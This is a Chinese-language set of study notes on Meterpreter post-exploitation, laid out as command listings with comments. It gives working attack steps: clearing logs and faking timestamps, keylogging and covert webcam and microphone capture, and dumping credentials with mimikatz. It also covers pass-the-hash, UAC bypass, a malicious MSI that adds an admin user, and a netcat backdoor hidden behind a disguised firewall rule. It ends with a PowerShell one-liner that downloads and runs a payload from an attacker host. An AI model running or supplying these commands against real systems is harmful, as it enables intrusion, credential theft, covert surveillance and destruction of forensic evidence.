# meterpreter 学习笔记总结
# 系统命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 background # 将当前会话放置后台 sessions # sessions –h 查看帮助 sessions -i <ID 值> #进入会话 -k 杀死会话 bgrun / run # 执行已有的模块,输入 run 后按两下 tab,列出已有的脚本 info # 查看已有模块信息 getuid # 查看当前用户身份 getprivs # 查看当前用户具备的权限 getpid # 获取当前进程 ID(PID) sysinfo # 查看目标机系统信息 irb # 开启 ruby 终端 ps # 查看正在运行的进程 kill <PID 值> # 杀死指定 PID 进程 idletime # 查看目标机闲置时间 reboot / shutdown # 重启/关机 shell # 进入目标机 cmd shell
# 常用 cmd 命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 whoami # 当前权限 quser # 查询当前在线的管理员 net user # 查看存在用户 net user 用户名 密码 /add # 添加用户和对应密码 net localgroup 用户组名 用户名 /add # 将指定用户添加到指定用户组 netstat -ano # 查询当前计算机中网络连接通信情况,LISTENING 表示该端口处于监听状态;ESTABLISHED 表示该端口处于工作(通信)状态 systeminfo # 查看当前计算机中的详细情况 tasklist /svc # 查看每个进程所对应的服务 taskkill /f /im 程序名称 # 结束某个指定名称的程序 taskkill /f /PID ID # 结束某个指定 PID 的进程 tasklist | findstr "字符串" # 查找输出结果中指定的内容 logoff # 注销某个指定用户的 ID shutdown -r # 重启当前计算机 netsh adcfirewall set allprofiles state off # 关闭防火墙
# uictl 开关键盘 / 鼠标
1 2 3 uictl [enable/disable] [keyboard/mouse/all] # 开启或禁止键盘/鼠标 uictl disable mouse # 禁用鼠标 uictl disable keyboard # 禁用键盘
# execute 执行文件
1 2 3 4 5 execute #在目标机中执行文件 execute -H -i -f cmd.exe # 创建新进程 cmd.exe,-H 不可见,-i 交互 execute -H -m -d notepad.exe -f payload.exe -a "-o hack.txt" # -d 在目标主机执行时显示的进程名称(用以伪装)-m 直接从内存中执行 "-o hack.txt"是 payload.exe 的运行参数
# clearav 清除日志
1 clearav # 清除 windows 中的应用程序日志、系统日志、安全日志
# 文件系统命令
基本文件系统命令
1 2 3 4 5 6 7 8 9 10 11 12 13 ls # 列出当前目录中的文件列表 cd # 进入指定目录 getwd / pwd # 查看当前工作目录 search -d c:\\ -f *.txt # 搜索文件 -d 目录 -f 文件名 cat c:\\123.txt # 查看文件内容 upload /tmp/hack.txt C:\\ # 上传文件到目标机上 download c:\\123.txt /tmp/ # 下载文件到本机上 edit c:\\test.txt # 编辑或创建文件 没有的话,会新建文件 rm C:\\hack.txt # 删除文件 mkdir admin # 只能在当前目录下创建文件夹 rmdir admin # 只能删除当前目录下文件夹 getlwd / lpwd # 查看本地当前目录 lcd /tmp # 切换本地目录
# timestomp 伪造时间戳
1 2 3 4 timestomp C:\\ -h #查看帮助 timestomp -v C:\\2.txt #查看时间戳 timestomp C:\\2.txt -f C:\\1.txt #将 1.txt 的时间戳复制给 2.txt timestomp c:\\test\\22.txt -z "03/10/2019 11:55:55" -v # 把四个属性设置为统一时间
# 网络命令
1 2 3 4 5 ipconfig/ifconfig # 查看网络接口信息 netstat –ano # 查看网络连接状态 arp # 查看 arp 缓冲表 getproxy # 查看代理信息 route # 查看路由表信息
# portfwd 端口转发
1 2 3 4 portfwd add -l 1234 -p 3389 -r 127.0.0.1 #将目标机的 3389 端口转发到本地 1234 端口 rdesktop 127.0.0.1:1234 # 需要输入用户名密码连接 rdesktop -u Administrator -p P@ssw0rd 127.0.0.1:1234 # -u 用户名 -p 密码
# autoroute 添加路由
参考 https://www.anquanke.com/post/id/86505
1 2 3 4 run autoroute -h # 查看帮助 run get_local_subnets # 查看目标内网网段地址 run autoroute -s 192.168.183.0/24 # 添加目标网段路由 run autoroute -p # 查看添加的路由
利用 arp_scanner、portscan 等进行扫描
1 2 run post/windows/gather/arp_scanner RHOSTS=192.168.183.0/24 run auxiliary/scanner/portscan/tcp RHOSTS=192.168.183.146 PORTS=3389
# Socks 代理
只有在目标设备添加完路由后才可以通过 msf 自带的 socks4a 模块进行 socks4 代理转发
1 2 3 4 use auxiliary/server/socks4a set srvhost 127.0.0.1 set srvport 2000 run
然后 vim /etc/proxychains.conf ,在文件末尾添加 socks4 代理服务器
使用 proxychains 代理访问执行 nmap 操作
1 2 proxychains nmap -sV -p 445 --script=smb-vuln-ms17-010.nse 192.168.183.146 # 扫描永恒之蓝漏洞 proxychains hydra 192.168.183.146 rdp -l administrator -P password.txt -V # rdp 服务暴力破解
# 信息收集
常用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 run arp_scanner -r 192.168.183.1/24 # 利用 arp 进行存活主机扫描 run winenum # 自动化执行一些检测脚本 run credcollect # 获取用户 hash run domain_list_gen # 获取域管理账户列表 run post/multi/gather/env # 获取用户环境变量 run post/windows/gather/enum_logged_on_users -c # 列出当前登录用户 run post/linux/gather/checkvm # 是否虚拟机 run post/windows/gather/checkvm # 是否虚拟机 run post/windows/gather/forensics/enum_drives # 查看存储器信息 run post/windows/gather/enum_applications # 获取安装软件信息 run post/windows/gather/dumplinks # 获取最近访问过的文档、链接信息 run post/windows/gather/enum_ie # 获取 IE 缓存 run post/windows/gather/enum_firefox # 获取 firefox 缓存 run post/windows/gather/enum_chrome # 获取 Chrome 缓存 run post/multi/recon/local_exploit_suggester # 获取本地提权漏洞 run post/windows/gather/enum_patches # 获取补丁信息 run post/windows/gather/enum_domain # 查找域控 run post/windows/gather/enum_snmp # 获取 snmp 团体名称 run post/windows/gather/credentials/vnc # 获取 vnc 密码 run post/windows/wlan/wlan_profile # 用于读取目标主机 WiFi 密码 run post/multi/gather/wlan_geolocate # 基于 wlan 进行地理位置确认 文件位于/root/.msf4/loot run post/windows/manage/killav 关闭杀毒软件
# 常用的破解模块
1 2 3 4 5 6 7 8 9 10 11 12 13 auxiliary/scanner/mssql/mssql_login auxiliary/scanner/ftp/ftp_login auxiliary/scanner/ssh/ssh_login auxiliary/scanner/telnet/telnet_login auxiliary/scanner/smb/smb_login auxiliary/scanner/mssql/mssql_login auxiliary/scanner/mysql/mysql_login auxiliary/scanner/oracle/oracle_login auxiliary/scanner/postgres/postgres_login auxiliary/scanner/vnc/vnc_login auxiliary/scanner/pcanywhere/pcanywhere_login auxiliary/scanner/snmp/snmp_login auxiliary/scanner/ftp/anonymous
# 键盘记录
1 2 3 keyscan_start # 开始键盘记录 keyscan_dump # 导出记录数据 keyscan_stop # 结束键盘记录
# sniffer 抓包
1 2 3 4 5 6 7 use sniffer sniffer_interfaces # 查看网卡 sniffer_start 1 # 选择网卡 1 开始抓包 sniffer_stats 1 # 查看网卡 1 状态 sniffer_dump 1 /tmp/wlan1.pcap # 导出 pcap 数据包 sniffer_stop 1 # 停止网卡 1 抓包 sniffer_release 1 # 释放网卡 1 流量
# 窃取令牌
1 2 steal_token <pid 值> # 从指定进程中窃取 token drop_token # 停止假冒当前的 token
# 网络摄像头
1 2 3 4 5 record_mic # 音频录制 webcam_chat # 开启视频聊天(对方有弹窗) webcam_list # 查看摄像头 webcam_snap # 通过摄像头拍照 webcam_stream # 通过摄像头开启视频监控(以网页形式进行监控≈直播)
# 截屏
1 2 3 4 截屏 screenshot # 截屏 use espia # 使用 espia 模块 screengrab # 截屏
# 提权
getsystem 提权
利用 getsystem 命令提权,该命令会自动寻找各种可能的提权技术来使得用户将权限提升到更高的级别。
1 2 getsystem 提权 getuid 查看已获得权限
# enum_patches 模块
利用 enum_patches 模块搜集补丁信息,然后寻找可利用的 exploits 进行提权。
1 2 3 4 5 6 run post/windows/gather/enum_patches #查看补丁信息 background search MS10-015 use exploit/windows/local/ms10_015_kitrap0d set session 8 run
# 绕过 UAC 提权
msf 内置一些 bypassuac 脚本,原理不同,使用方法类似,执行后返回一个新的会话,再次执行 getsystem 即可提权
1 2 3 4 5 6 exploit/windows/local/bypassuac exploit/windows/local/bypassuac_eventvwr exploit/windows/local/bypassuac_injection exploit/windows/local/bypassuac_injection_winsxs exploit/windows/local/bypassuac_silentcleanup exploit/windows/local/bypassuac_vbs
使用命令 getsystem 提权失败,然后利用 bypassuac 来提权,这里利用 exploit/windows/local/bypassuac 模块 (32 位、64 位都有效)
1 2 3 4 backgroup use exploit/windows/local/bypassuac set session 1 run
# 使用 RunAs 提权
1 2 该方法利用 exploit/windows/local/ask 模块(32 位、64 位都有效),创建一个可执行文件并在目标机上发起一个提升权限请求的 程序,触发系统 UAC,提示用户是否要继续,如果用户选择“是”,则会返回一个高权限的 meterpreter shell。
1 2 3 4 use exploit/windows/local/ask set filename update.exe # 设置反弹程序名称 set session 1 run
输入 run 命令以后会在目标机上弹出 UAC,提示用户是否允许,选择是就会返回一个高权限的 meterpreter shell
注意事项:
使用 RunAs 模块进行提权时,系统当前用户须在管理员组或者知道管理员的密码,用户账户控制程序 UAC 设置则没有要求。
使用 RunAs 模块进行提权时,会创建一个可执行文件,为了避免给杀毒软件查杀,该可执行文件(需进行免杀处理)的创建要使用 EXE::Custom 选项。
# 假冒令牌提权
令牌是系统临时密钥,它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源。这些令牌将持续存在于系统中,除非系统重新启动。一般有两种类型的令牌,一种是 Delegation Tokens,也就是授权令牌,它支持交互式登录(例如远程桌面登陆登录)。还有一种是 Impersonation Tokens,也就是模拟令牌,它是非交互的会话(例如访问文件共享)。
1 2 3 4 5 use incognito # 加载窃取令牌模块 list_tokens -u # 查看可用的用户令牌 list_tokens -g # 查看可用的用户组令牌 impersonate_token 'NT AUTHORITY\SYSTEM' # 假冒 SYSTEM token rev2self #返回原始 token
# 利用 AlwaysInstallElevated 提权
AlwaysInstallElevated 是一个策略设置。微软允许非授权用户以 SYSTEM 权限运行安装文件 (MSI),如果用户启用此策略设置,那么黑客利用恶意的 MSI 文件就可以进行管理员权限的提升。
查看 AlwaysInstallElevated 是否被定义
不过利用此方法有个前提条件,需要有两个注册表的键值为 1,我们可以在 cmdshell 下查看 AlwaysInstallElevated 是否被定义
1 2 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevate
如上图所示已经开启 AlwaysInstallElevated,如果在组策略里未定义 AlwaysInstallElevated,则会出现 “错误:系统找不到指定的注册表项或值” 的提示,如下图所示:
如果需要开启可以选择以下方法:
1. 打开组策略编辑器(运行框输入 gpedit.msc)
2. 组策略 -> 计算机配置 -> 管理模版 ->Windows 组件 ->Windows Installer-> 永远以高特权进行安装:选择启用
3. 组策略 -> 用户配置 -> 管理模版 ->Windows 组件 ->Windows Installer-> 永远以高特权进行安装:选择启用
设置完成后对应注册表的位置值会设为 1,开启 AlwaysInstallElevated。
生成 MSI 安装文件
利用 msfvenom 命令生成一个在目标机上增加管理员用户的 MSI 安装文件,这里密码要设置为强密码,否则会报错。
1 msfvenom -p windows/adduser USER=msi PASS=Abc123@@ -f msi -o msi.msi
上传并执行 MSI 文件
1 2 3 upload msi.msi c:\\Users\\test # 部分目录由于权限原因可能上传失败 msiexec /quiet /qn /i msi.msi # /quiet=安装过程中禁止向用户发送消息 /qn=不使用图形界面 /i=安装程序 net localgroup administrators
执行成功后查看管理员组发现用户已经添加成功
注意:
由于是 msf 生成的 msi 文件,所以默认会被杀毒软件拦截,需要做好免杀。
# 窃取 hash 及密码 & 哈希传递
窃取 hash 及密码
1 2 hashdump run post/windows/gather/smart_hashdump
得到的 hash 可以拿去 https://cmd5.com/ 解密一下即是用户密码
或者 ophrack 进行解密
# mimikatz
1 2 3 4 5 6 7 8 9 10 11 12 13 msf5: load mimikatz # 加载 mimikatz 模块 msv # 获取用户和 hash 值 kerberos # 获取内存中的明文密码信息 wdigest # 获取内存中的明文密码信息 mimikatz_command -f a:: # 需要以错误的模块来让正确的模块显示 mimikatz_command -f sekurlsa::searchPasswords # 获取用户密码 mimikatz_command -f samdump::hashes # 执行用户 hash msf6: load kiwi creds_all kiwi_cmd sekurlsa::logonpasswords
# 哈希传递
利用 hashdump 得到用户的 hash 后可利用 psexec 模块进行哈希传递攻击。
使用 psexec 的前提:SMB 服务必须开启,也就是开启 445 端口;Admin$ 可以访问
1 2 3 4 5 6 7 8 9 use exploit/windows/smb/psexec set payload windows/meterpreter/reverse_tcp set LHOST 192.168.183.147 set LPORT 443 set RHOST 192.168.183.154 set SMBUSER Administrator set SMBPASS ccf**4ee:3db**678 set SMBDOMAIN WORKGROUP # 域用户需要设置 SMBDOMAIN run
# RDP
# getgui 命令
1 2 3 4 5 run getgui –h # 查看帮助 run getgui -e # 开启远程桌面 run getgui -u admin -p admin # 添加用户 run getgui -f 6666 -e # 3389 端口转发到 6666 rdesktop 127.0.0.1:6666
# enable_rdp 脚本
通过 enable_rdp 脚本将用户添加到远程桌面用户组和管理员用户组
1 2 3 run post/windows/manage/enable_rdp #开启远程桌面 run post/windows/manage/enable_rdp USERNAME=admin PASSWORD=admin # 添加用户 run post/windows/manage/enable_rdp FORWARD=true LPORT=6667 # 将 3389 端口转发到 666
# 远程桌面
1 2 3 4 5 6 enumdesktops # 查看可用的桌面 getdesktop # 获取当前 meterpreter 关联的桌面 setdesktop # 设置 meterpreter 关联的桌面 -h 查看帮助 run vnc # 使用 vnc 远程桌面连接 rdesktop 127.0.0.1:1111 # 需要输入用户名密码连接 rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用户名 -p 密码
# 注册表操作
注册表基本命令
1 2 3 4 5 6 7 8 reg –h # 查看帮助 -k 注册表的路径 -v 键的名称 -d 键值 reg enumkey [-k <key>] # 枚举注册表的内容 reg createkey [-k <key>] # 创建注册表项 reg deletekey [-k <key>] # 删除注册表项 reg setval [-k <key> -v <val> -d <data>] # 在注册表里添加内容 reg deleteval [-k <key> -v <val>] # 删除注册表的值 reg queryval [-k <key> -v <val>] # 查询注册表的值
# 利用注册表添加 nc 后门
1 2 3 4 5 upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 # 上传 nc 到目标主机 reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run # 枚举注册表 run 下的键值 reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v test_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' # 设置键值 -v 键的名称 -d 键值 reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v test_nc # 查看 test_nc 的键值
2. 设置防火墙允许通过 443 端口(如果目标主机开启防火墙,没有设置相应的规则可能会导致连接失败。)
1 2 3 4 shell netsh firewall show opmode # 查看防火墙状态 netsh firewall add portopening TCP 443 "网络发现(Pub PSD-Out)" ENABLE ALL # 添加防火墙的规则允许 443 端口通过(这里“网络发现 (Pub PSD-Out)”是规则名称,目的是为了迷惑管理员。)
3. 待目标主机重启后,自启 nc 程序,然后我们利用 nc 连接即
# 后门植入
在我们通过漏洞获取到目标主机权限之后,如果目标主机主机重启亦或是管理员发现并修补了漏洞,那么我们就会失去对服务器的控制权,所以我们需要通过植入后门来维持权限,前面说的 nc 后门就是其中一种,另外一般还有 Persistence 和 Metsvc
# Persistence (通过启动项安装)
1 2 3 4 5 6 7 8 9 10 run persistence –h # 查看帮助 run persistence -X -i 5 -p 3333 -r 本地IP run persistence -U -i 5 -p 3333 -r 本地IP -L c:\\Windows\\System32 -X:设置后门在系统启动后自启动。该方式会在 HKLM\Software\Microsoft\Windows\CurrentVersion\Run 下添加注册表信息。由于权限原因会导 致添加失败,后门无法启动。因此在非管理员权限下,不推荐使用该参数 -U:设置后门在用户登录后自启动。该方式会在 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 下添加注册表信息 -L:后门传到远程主机的位置默认为%TEMP% -i:设置反向连接间隔时间为 5 秒 -p:设置反向连接的端口号 -r:设置反向连接的 ip 地址
靶机被成功植入后门
1 2 3 4 5 6 backgroup use exploit/multi/handler set lhost 172 .16 .10 .197 set lport 4444 set paylod windows/meterpreter/reverse_tcpexploit 成功获得shell
# Metsvc (通过服务安装) 一句话需要权限
1 2 3 4 5 6 7 8 9 10 11 run metsvc -h # 查看帮助 run metsvc -A # 自动安装后门 run metsvc -r # 删除后门 连接后门 use exploit/multi/handler set payload windows/metsvc_bind_tcpset rhost 192 .168 .183 .169 set lport 31337 run
# Powershell 后门
1 2 3 4 5 6 7 8 9 10 11 use exploit/multi/script/web_delivery set payload windows/meterpreter/reverse_tcpset LHOST 192 .168 .183 .147 set LPORT 2334 set srvport 2333 set uripath /set target 5 run 在目标设备 cmd 上执行以下命令即可反弹 powershell.exe -nop -w hidden -c $z="echo ($env:temp+'\eJedcsJE.exe')"; (new-object System.Net .WebClient).DownloadFile('http://192 .168 .183 .147 :2333 /', $z); invoke-item $z